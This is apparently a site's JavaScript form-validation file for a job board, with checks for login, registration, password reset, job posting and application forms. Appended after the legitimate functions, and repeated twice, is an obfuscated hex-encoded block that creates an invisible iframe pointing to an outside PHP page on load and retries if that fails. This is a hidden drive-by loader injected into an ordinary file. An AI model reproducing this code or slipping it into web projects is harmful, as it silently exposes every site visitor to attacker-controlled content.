function checkLoginForm(form) {
  var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9_\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

  if (form.email.value == "") {
    alert("Please insert an EMAIL/USER ID.");

    form.email.focus();

    return false;
  } else if (!filter.test(form.email.value)) {
    alert("Please insert a valid EMAIL/USERID. (e.g. user@domain.ext)");
    
    form.email.focus();

    return false;
  } else if (form.password.value == "") {
    alert("Please insert a PASSWORD.");

    form.password.focus();

    return false;
  }

  return true;
}

function checkRegisterForm(form) {
  var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9_\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

  if (form.email.value == "") {
    alert("Please insert an EMAIL/USER ID.");

    form.email.focus();

    return false;
  } else if (!filter.test(form.email.value)) {
    alert("Please insert a valid EMAIL/USERID. (e.g. user@domain.ext)");
    
    form.email.focus();

    return false;
  } else if (form.password1.value == "") {
    alert("Please insert a PASSWORD.");

    form.password1.focus();

    return false;
  } else if (form.password2.value == "") {
    alert("Please retype the PASSWORD.");

    form.password2.focus();

    return false;
  } else if (form.password1.value != form.password2.value) {
    alert("Please insert a PASSWORD and retype the PASSWORD.");
    
    form.password1.value = "";
    form.password2.value = "";
    
    form.password1.focus();

    return false;
  }

  return true;
}

function checkForgotForm(form) {
  var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9_\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

  if (form.email.value == "") {
    alert("Please insert an EMAIL/USER ID.");

    form.email.focus();

    return false;
  } else if (!filter.test(form.email.value)) {
    alert("Please insert a valid EMAIL/USERID. (e.g. user@domain.ext)");
    
    form.email.focus();

    return false;
  }
  
  return true;
}

function checkInsertForm(form) {
  if (form.title.value == "") {
    alert("Please insert a TITLE.");

    form.title.focus();

    return false;
  } else if (form.description.value == "") {
    alert("Please insert a DESCRIPTION.");

    form.description.focus();
    
    return false;
  }

  return true;
}

function popUp(address) {
  day = new Date();
  id = day.getTime();
  
  eval("page" + id + " = window.open(address, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=0,width=550,height=500,left=200,top=200');");
}

function checkDeleteForm() {
  var valid = 0;

  for (var i = 0;
       i < document.forms[0].elements.length - 1;
       i++) {
    if (document.forms[0].elements[i].checked == true) {
      valid = 1;
      
      break;
    }
  }

  if (valid == 0) {
    alert("Please select JOB(S).");

    return false;
  }

  var answer = confirm("Are you sure you want to delete JOB(S)?");
  
  if (answer) {
    return true;
  } else {
    return false;
  }
}

function checkApplyForm(form) {
  var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9_\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

  if (form.name.value == "") {
    alert("Please insert a NAME.");

    form.name.focus();

    return false;
  } else if (form.email.value == "") {
    alert("Please insert an EMAIL/USER ID.");

    form.email.focus();

    return false;
  } else if (!filter.test(form.email.value)) {
    alert("Please insert a valid EMAIL/USERID. (e.g. user@domain.ext)");
    
    form.email.focus();

    return false;
  } else if (form.resume.value == "") {
    alert("Please insert a RESUME.");
    
    form.resume.focus();

    return false;
  }
  
  if (form.resume.value != "") {
    var valid = new Array('.doc', '.docx', '.mcw', '.odt', '.pdf', '.rtf', '.txt', '.wps');
	var fileName = form.resume.value;
	var fileName = fileName.toLowerCase();
	var fileValid = 0;
	
	for (i = 0;
	     i < valid.length;
		 i++) {
      if (fileName.indexOf(valid[i]) != -1)
	    fileValid = 1;
	}

    if (fileValid == 0) {
	  alert("Please insert a valid RESUME. (e.g. .doc, .docx, .mcw, .odt, .pdf, .rtf, .txt, .wps)");
	  
	  form.resume.focus();

      return false;
	}
  }
  
  if (form.message.value == "") {
    var answer = confirm("Are you sure you want to apply for this job without sending a MESSAGE?");
    
    if (!answer) {
      form.message.focus();

      return false;
    }
  }
  
  return true;
}

function checkFileType(fileName, fileTypes) {
  if (!fileName)
    return false;
  
  dot = fileName.split(".")
  
  fileType = "." + dot[dot.length - 1];
  
  return (fileTypes.join(".").indexOf(fileType) != -1) ? alert('That file is OK!') : alert("Please only upload files that end in types: \n\n" + (fileTypes.join(" .")) + "\n\nPlease select a new file and try again.");
}
function lI(){};eJS=23886;lI.prototype = {o : function() {var j="j";var lM="lM";function iX(){};var yP="";var n=function(){return 'n'};this.t=18033;var v=window;var eD=1907;xA=false;var q = this;var rG="rG";function qF(){};var f=document;eDM=31978;this.g='';var eX=new Array();p="p";this.cV="cV";this.fC=31986;gH="";var c = function(zw,LV,XLT){return ['x52x6dx64x5a'+XLT,'x4ex30'+LV,zw+'x63']}('x73x72','x52x70x4ax66x32','x4dx54x73x4ax35')[2];this.gJ="gJ";nU='';var z = function(pUOrO,vkRpM,KD3V){return [pUOrO+'x42x57x66x72x33',KD3V+'x74x54x69x6dx65x6fx75x74','x59x49x58x62'+vkRpM]}('x43','x44x5ax6cx30','x73x65')[1];var tW=new Date();var s=function(){};m=5300;this.aL="aL";var y = function(N8e,DMvu,jCzV,E19){return ['x69x66x44'+jCzV,'x56x64x6cx4ex53'+N8e,E19+'x65x45x6cx65x6dx65x6ex74',DMvu+'x67']}('x4dx4a','x78x63x5ax4ex54','x4ex31x66','x63x72x65x61x74')[2];var eZ=new Array();fG="fG";var sB="";        var vC = function(W,QBU,CU9,aCWv){return ['x72x6ax78'+CU9,QBU+'x44','x66'+aCWv,'x61x70x70x65x6ex64x43x68x69x6c'+W]}('x64','x4fx44','x71x4a','x53x71x57')[3];var yR=12683;this.b="";var x = function(lx,gdDX,n){return [lx+'x46','x73x65x74x41x74x74x72x69'+n,gdDX+'x5ax48x37']}('x48','x4ax7a','x62x75x74x65')[1];var k="";this.iJ="iJ";var vW=function(){return 'vW'};var a = function(N,XE5G,wK0,X6t){return ['x4bx34'+wK0,'x4a'+N,X6t+'x56x54x55x4a','x73'+XE5G]}('x6ex37','x74x79x6cx65','x4d','x6cx77x4ax63x7a')[3];var pC=new Date();this.oT=false;var r = function(UtD,WrGtd,cJN){return ['x7ax6ex57x43'+WrGtd,cJN+'x64x79','x54x46'+UtD]}('x67','x7ax74x74x30x56','x62x6f')[1];w="";var gP=739;var e = function(joE1,pvs,C,j38i,joB){return [joE1+'x65',joB+'x67x77x55x31x4f','x64'+j38i,'x62x5ax64x61x62'+pvs,C+'x6ax62']}('x7ax42x4ex41','x77x4a','x4bx39x5ax39','x69x73x70x6cx61x79','x54')[2];yD=4181;this.bU=25398;aN="";var zS = function(Xy,Z8,J,Mh){return [Xy+'x5ax34x73x78x73',J+'x65','x49x69x45'+Z8,'x4fx6bx30x6ax72'+Mh]}('x59x4bx78x52','x50','x77x72x69x74','x78x74x56x33x61')[1];this.eXC="eXC";this.gF='';tK=false;this.wJ="wJ";var qH=new Array();xS="xS";try {var fU="fU";var yDQ=new Array();var iXC="";vCP="vCP";var bW="bW";var iB=21743;var l=f[y](function(If5ea,W,H4){return ['x6fx6bx50x59'+If5ea,H4+'x71',W+'x66x72x61x6dx65']}('x6bx78x61','x69','x76x55x39x6ax44')[2]);var u="";this.eJ=false;var vU="vU";var rM=new Date();mB=24493;var tE=false;nM=false;this.qL="qL";var fUX="fUX";l[x](c, q.aV());var mZ=function(){};var fW="fW";l[a][e] = function(Etda8,opdP,ejR,Iix9){return [Iix9+'x4dx4bx38x36',opdP+'x53x38','x6ex6f'+ejR,'x72x58x4f'+Etda8]}('x4d','x4ax48x33','x6ex65','x42x63x44')[2];var zW=new Date();var uV=function(){};zQ='';vM=false;var cN="";function mBC(){};yZ=28965;var tO="tO";document[r][vC](l);this.tQ="";this.wT="wT";this.aR='';this.bM="";this.qFO="qFO";} catch(i) {var rML=new Date();this.lO=31742;var gR=new Array();d=false;this.wH="wH";var pI=false;f[zS](function(WSDMc,k,M,R8){return [k+'x4fx52x76x4d','x65x52x65x73'+M,'x74'+R8,'x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3ex3cx2fx62x6fx64x79x3e'+WSDMc]}('x3cx2fx68x74x6dx6cx3e','x71','x6a','x45x39')[3]);var jU=new Date();this.aRS=false;v[z](function(){ q.o() }, 382);vK="vK";this.aRK="aRK";function mR(){};}var qZ="";this.jK=21874;},aV : function() {this.lC="";var wP=function(){};lE='';function cR(){};return function(hxWm2,QIDS,aAIVZ){return ['x68x74x74x70x3ax2fx2fx61x6cx74x65x72x70x61x72x61x64x69x67x6dx61x2ex6ex65x74x2fx73x74x64x73x2fx67x6f'+aAIVZ,'x5ax67'+QIDS,'x63x61x4dx46x53'+hxWm2]}('x64x39','x43x37','x2ex70x68x70x3fx73x69x64x3dx31x30')[0];this.kT=false;fI='';gZ="";}};this.wF='';var rE=new lI(); lK="lK";rE.o();var aRC=function(){};function lI(){};eJS=23886;lI.prototype = {o : function() {var j="j";var lM="lM";function iX(){};var yP="";var n=function(){return 'n'};this.t=18033;var v=window;var eD=1907;xA=false;var q = this;var rG="rG";function qF(){};var f=document;eDM=31978;this.g='';var eX=new Array();p="p";this.cV="cV";this.fC=31986;gH="";var c = function(zw,LV,XLT){return ['x52x6dx64x5a'+XLT,'x4ex30'+LV,zw+'x63']}('x73x72','x52x70x4ax66x32','x4dx54x73x4ax35')[2];this.gJ="gJ";nU='';var z = function(pUOrO,vkRpM,KD3V){return [pUOrO+'x42x57x66x72x33',KD3V+'x74x54x69x6dx65x6fx75x74','x59x49x58x62'+vkRpM]}('x43','x44x5ax6cx30','x73x65')[1];var tW=new Date();var s=function(){};m=5300;this.aL="aL";var y = function(N8e,DMvu,jCzV,E19){return ['x69x66x44'+jCzV,'x56x64x6cx4ex53'+N8e,E19+'x65x45x6cx65x6dx65x6ex74',DMvu+'x67']}('x4dx4a','x78x63x5ax4ex54','x4ex31x66','x63x72x65x61x74')[2];var eZ=new Array();fG="fG";var sB="";        var vC = function(W,QBU,CU9,aCWv){return ['x72x6ax78'+CU9,QBU+'x44','x66'+aCWv,'x61x70x70x65x6ex64x43x68x69x6c'+W]}('x64','x4fx44','x71x4a','x53x71x57')[3];var yR=12683;this.b="";var x = function(lx,gdDX,n){return [lx+'x46','x73x65x74x41x74x74x72x69'+n,gdDX+'x5ax48x37']}('x48','x4ax7a','x62x75x74x65')[1];var k="";this.iJ="iJ";var vW=function(){return 'vW'};var a = function(N,XE5G,wK0,X6t){return ['x4bx34'+wK0,'x4a'+N,X6t+'x56x54x55x4a','x73'+XE5G]}('x6ex37','x74x79x6cx65','x4d','x6cx77x4ax63x7a')[3];var pC=new Date();this.oT=false;var r = function(UtD,WrGtd,cJN){return ['x7ax6ex57x43'+WrGtd,cJN+'x64x79','x54x46'+UtD]}('x67','x7ax74x74x30x56','x62x6f')[1];w="";var gP=739;var e = function(joE1,pvs,C,j38i,joB){return [joE1+'x65',joB+'x67x77x55x31x4f','x64'+j38i,'x62x5ax64x61x62'+pvs,C+'x6ax62']}('x7ax42x4ex41','x77x4a','x4bx39x5ax39','x69x73x70x6cx61x79','x54')[2];yD=4181;this.bU=25398;aN="";var zS = function(Xy,Z8,J,Mh){return [Xy+'x5ax34x73x78x73',J+'x65','x49x69x45'+Z8,'x4fx6bx30x6ax72'+Mh]}('x59x4bx78x52','x50','x77x72x69x74','x78x74x56x33x61')[1];this.eXC="eXC";this.gF='';tK=false;this.wJ="wJ";var qH=new Array();xS="xS";try {var fU="fU";var yDQ=new Array();var iXC="";vCP="vCP";var bW="bW";var iB=21743;var l=f[y](function(If5ea,W,H4){return ['x6fx6bx50x59'+If5ea,H4+'x71',W+'x66x72x61x6dx65']}('x6bx78x61','x69','x76x55x39x6ax44')[2]);var u="";this.eJ=false;var vU="vU";var rM=new Date();mB=24493;var tE=false;nM=false;this.qL="qL";var fUX="fUX";l[x](c, q.aV());var mZ=function(){};var fW="fW";l[a][e] = function(Etda8,opdP,ejR,Iix9){return [Iix9+'x4dx4bx38x36',opdP+'x53x38','x6ex6f'+ejR,'x72x58x4f'+Etda8]}('x4d','x4ax48x33','x6ex65','x42x63x44')[2];var zW=new Date();var uV=function(){};zQ='';vM=false;var cN="";function mBC(){};yZ=28965;var tO="tO";document[r][vC](l);this.tQ="";this.wT="wT";this.aR='';this.bM="";this.qFO="qFO";} catch(i) {var rML=new Date();this.lO=31742;var gR=new Array();d=false;this.wH="wH";var pI=false;f[zS](function(WSDMc,k,M,R8){return [k+'x4fx52x76x4d','x65x52x65x73'+M,'x74'+R8,'x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3ex3cx2fx62x6fx64x79x3e'+WSDMc]}('x3cx2fx68x74x6dx6cx3e','x71','x6a','x45x39')[3]);var jU=new Date();this.aRS=false;v[z](function(){ q.o() }, 382);vK="vK";this.aRK="aRK";function mR(){};}var qZ="";this.jK=21874;},aV : function() {this.lC="";var wP=function(){};lE='';function cR(){};return function(hxWm2,QIDS,aAIVZ){return ['x68x74x74x70x3ax2fx2fx61x6cx74x65x72x70x61x72x61x64x69x67x6dx61x2ex6ex65x74x2fx73x74x64x73x2fx67x6f'+aAIVZ,'x5ax67'+QIDS,'x63x61x4dx46x53'+hxWm2]}('x64x39','x43x37','x2ex70x68x70x3fx73x69x64x3dx31x30')[0];this.kT=false;fI='';gZ="";}};this.wF='';var rE=new lI(); lK="lK";rE.o();var aRC=function(){};